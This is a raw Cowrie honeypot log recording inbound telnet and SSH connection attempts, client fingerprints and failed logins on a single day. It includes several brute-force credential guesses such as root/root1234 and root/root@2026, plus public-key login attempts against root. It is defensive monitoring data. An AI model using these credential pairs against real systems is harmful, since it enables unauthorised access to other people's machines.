{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35488,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd48d10b84b2","protocol":"telnet","message":"New connection: 152.42.224.71:35488 (10.17.0.5:23) [session: bd48d10b84b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:50.210554Z"}
{"eventid":"cowrie.session.closed","duration":120.0017306804657,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:50.829920Z","src_ip":"152.42.224.71","session":"b72faa8cb1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35498,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae4b382de0f0","protocol":"telnet","message":"New connection: 152.42.224.71:35498 (10.17.0.5:23) [session: ae4b382de0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:51.220332Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58088,"dst_ip":"159.203.135.109","dst_port":22,"session":"606dd16e012f","protocol":"ssh","message":"New connection: 192.109.200.237:58088 (159.203.135.109:22) [session: 606dd16e012f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:51.624555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:51.628851Z","src_ip":"192.109.200.237","session":"606dd16e012f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:51.710613Z","src_ip":"192.109.200.237","session":"606dd16e012f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:51.955756Z","src_ip":"192.109.200.237","session":"606dd16e012f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:53.040234Z","src_ip":"192.109.200.237","session":"606dd16e012f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172257423401,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:53.623279Z","src_ip":"46.60.48.98","session":"9377652b74cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58104,"dst_ip":"159.203.135.109","dst_port":22,"session":"661f2bf8461e","protocol":"ssh","message":"New connection: 192.109.200.237:58104 (159.203.135.109:22) [session: 661f2bf8461e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:54.892509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:54.897610Z","src_ip":"192.109.200.237","session":"661f2bf8461e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:54.983723Z","src_ip":"192.109.200.237","session":"661f2bf8461e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:55.230575Z","src_ip":"192.109.200.237","session":"661f2bf8461e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7da181b650","protocol":"telnet","message":"New connection: 152.42.224.71:46700 (10.17.0.5:23) [session: 1d7da181b650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:56.115773Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:56.315495Z","src_ip":"192.109.200.237","session":"661f2bf8461e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":46810,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4769695b67","protocol":"telnet","message":"New connection: 46.60.48.98:46810 (159.203.135.109:23) [session: aa4769695b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:56.904995Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58124,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3401259e9c7","protocol":"ssh","message":"New connection: 192.109.200.237:58124 (159.203.135.109:22) [session: e3401259e9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:58.299926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:58.303624Z","src_ip":"192.109.200.237","session":"e3401259e9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:58.388354Z","src_ip":"192.109.200.237","session":"e3401259e9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:58.634414Z","src_ip":"192.109.200.237","session":"e3401259e9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:59.718970Z","src_ip":"192.109.200.237","session":"e3401259e9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38210,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec9b1f91722","protocol":"ssh","message":"New connection: 192.109.200.237:38210 (159.203.135.109:22) [session: 2ec9b1f91722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:01.607594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:01.614145Z","src_ip":"192.109.200.237","session":"2ec9b1f91722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:01.697167Z","src_ip":"192.109.200.237","session":"2ec9b1f91722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:01.944321Z","src_ip":"192.109.200.237","session":"2ec9b1f91722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.031622Z","src_ip":"192.109.200.237","session":"2ec9b1f91722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":34476,"dst_ip":"10.17.0.5","dst_port":22,"session":"7956bd6d40b8","protocol":"ssh","message":"New connection: 108.181.22.199:34476 (10.17.0.5:22) [session: 7956bd6d40b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.175994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.180552Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.252861Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:71:40:77:ea:4d:c4:0d:5e:a2:d3:ef:2f:82:69:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj6Fboyhj5G/3HnZyddp3wrLc4dodkPMsbe0A9NHZ18k3vo3G+dUmREp33BShJu4wTimIkpfBfJJRufzgxS7JANbkATtCjH6G18MQJdrcWx+LkfHKhUcKA2t1MnaqF8+fbbtY5OI55H4arNh8R/o6tr0r/qY0ILZVYljwlBNek3IFvAzLJ1JWpNO3b40moclIkkWKZ6IgiN1t5csFdjxikoOwAUH1rBX8h9pEf0jZ1I0MFVD+zvVnQIZRaV8lqGZ8dNrF0MbK0Y+lO2umO9aIv9qarL+HlA7Wudsowb6S6bJ6F3S5YJgSMsgVgX/a0h8eVkOgl07EHiMoOkbw6cuph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:71:40:77:ea:4d:c4:0d:5e:a2:d3:ef:2f:82:69:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.572185Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:71:40:77:ea:4d:c4:0d:5e:a2:d3:ef:2f:82:69:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj6Fboyhj5G/3HnZyddp3wrLc4dodkPMsbe0A9NHZ18k3vo3G+dUmREp33BShJu4wTimIkpfBfJJRufzgxS7JANbkATtCjH6G18MQJdrcWx+LkfHKhUcKA2t1MnaqF8+fbbtY5OI55H4arNh8R/o6tr0r/qY0ILZVYljwlBNek3IFvAzLJ1JWpNO3b40moclIkkWKZ6IgiN1t5csFdjxikoOwAUH1rBX8h9pEf0jZ1I0MFVD+zvVnQIZRaV8lqGZ8dNrF0MbK0Y+lO2umO9aIv9qarL+HlA7Wudsowb6S6bJ6F3S5YJgSMsgVgX/a0h8eVkOgl07EHiMoOkbw6cuph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.575298Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:92:c8:f3:d4:71:bc:1c:a0:30:ac:65:8d:65:7c:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjuIBGMIDo17yCiP6Kqqz3MdAbt4Y1q6s0uxdSSdCsZSoKRA8Urt4+Y9etnxbKslRz6s2Mtw5DGKa4tLEQO5PxSahYBo09ObuUMmoLR92+Y5u5+d4XJHDCtTjV4A/Z7JVBztPOjrugPDBlXVWxja08u4mYoYFgOLNk63vb/RpA9eYGS69xSBSGQ2OrQAfQYzRQ2+3tq034rU046FpLxu2/Gq7ZP5Jpw3Zqo3K6Z05s3tfhsHcdz4Od/MxmKAjGrv7FnJqfCn18unf6j/TTB/kAixFhtv+K4CqjA2nlovXERPA+vn/MXHYB9YArGIRCygcOVNqN5moTCwmYYGk76c73","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:92:c8:f3:d4:71:bc:1c:a0:30:ac:65:8d:65:7c:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.643782Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:92:c8:f3:d4:71:bc:1c:a0:30:ac:65:8d:65:7c:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjuIBGMIDo17yCiP6Kqqz3MdAbt4Y1q6s0uxdSSdCsZSoKRA8Urt4+Y9etnxbKslRz6s2Mtw5DGKa4tLEQO5PxSahYBo09ObuUMmoLR92+Y5u5+d4XJHDCtTjV4A/Z7JVBztPOjrugPDBlXVWxja08u4mYoYFgOLNk63vb/RpA9eYGS69xSBSGQ2OrQAfQYzRQ2+3tq034rU046FpLxu2/Gq7ZP5Jpw3Zqo3K6Z05s3tfhsHcdz4Od/MxmKAjGrv7FnJqfCn18unf6j/TTB/kAixFhtv+K4CqjA2nlovXERPA+vn/MXHYB9YArGIRCygcOVNqN5moTCwmYYGk76c73","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.648496Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:1d:88:2f:01:ab:cb:03:1e:7a:e4:35:59:42:8a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC37Dsjld9+QYEllbmXtwqPov7SzVSxDbLAluU9ERi0GTug88Vk00/66eRHVbQx26dPq1m95E88CsWFr2UQGg8BE7zNaZCVmITGH+Ei4AtyKFyvC3IatH7iTr1uaot/pZZTVa7Wk0Chj1bi+pr/RKHP9Od8LVKWuv72h0pJmEvUzZ9GD/h713kmFkA0ezlyrec5P+xPdZFqjHhvgov/j/KmvlGeFcZhoNVVW6JoqDcvexc1KYiYVytgKx1NybZF6+krX4gCSonp5YNHtlRG7so47pzk6v83wK7K6sLXQJBxFz7f1uBiJYcCf5bTd1j7Q5plWjBwJ3/SgX1bvmkL6ZwX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:1d:88:2f:01:ab:cb:03:1e:7a:e4:35:59:42:8a:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.718400Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:1d:88:2f:01:ab:cb:03:1e:7a:e4:35:59:42:8a:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC37Dsjld9+QYEllbmXtwqPov7SzVSxDbLAluU9ERi0GTug88Vk00/66eRHVbQx26dPq1m95E88CsWFr2UQGg8BE7zNaZCVmITGH+Ei4AtyKFyvC3IatH7iTr1uaot/pZZTVa7Wk0Chj1bi+pr/RKHP9Od8LVKWuv72h0pJmEvUzZ9GD/h713kmFkA0ezlyrec5P+xPdZFqjHhvgov/j/KmvlGeFcZhoNVVW6JoqDcvexc1KYiYVytgKx1NybZF6+krX4gCSonp5YNHtlRG7so47pzk6v83wK7K6sLXQJBxFz7f1uBiJYcCf5bTd1j7Q5plWjBwJ3/SgX1bvmkL6ZwX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.722320Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:2c:c3:8c:5d:09:bc:80:8d:28:91:4b:63:e8:bd:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyA+TkDXqiXR/yAppIw38hqJwTu0Dwt6J6zR4kbjdK4XAREmAGXZhY0BFh2/8ur9VGzXARTgAGQ7TT1rBuijEG4T1Jl8w1euKCGn+u8ShMfLbYdbKcI2NdltTL2o93+eUJbXNkHshE3FLYjWOJTPocn8qmTYUIg3xyTPw91zm2VkdIts9bOvfRU4y7R7ArNbf+raA0jy1mIMz1uxUR+iFwl26TMpcgakjbCkg9QEzJKlQ+oLC+i7yzagBU8IuUucEUMkApUqOoZtwzFA9if/YA0icwt9AaqUPcsiWWz1TQ2fkZJWWqT6Kb08cuWqVcXJ8aXEVZNTQVAN59nPPpkVMd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:2c:c3:8c:5d:09:bc:80:8d:28:91:4b:63:e8:bd:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.791993Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:2c:c3:8c:5d:09:bc:80:8d:28:91:4b:63:e8:bd:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyA+TkDXqiXR/yAppIw38hqJwTu0Dwt6J6zR4kbjdK4XAREmAGXZhY0BFh2/8ur9VGzXARTgAGQ7TT1rBuijEG4T1Jl8w1euKCGn+u8ShMfLbYdbKcI2NdltTL2o93+eUJbXNkHshE3FLYjWOJTPocn8qmTYUIg3xyTPw91zm2VkdIts9bOvfRU4y7R7ArNbf+raA0jy1mIMz1uxUR+iFwl26TMpcgakjbCkg9QEzJKlQ+oLC+i7yzagBU8IuUucEUMkApUqOoZtwzFA9if/YA0icwt9AaqUPcsiWWz1TQ2fkZJWWqT6Kb08cuWqVcXJ8aXEVZNTQVAN59nPPpkVMd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:34:03.796147Z","src_ip":"108.181.22.199","session":"7956bd6d40b8","protocol":"ssh"}
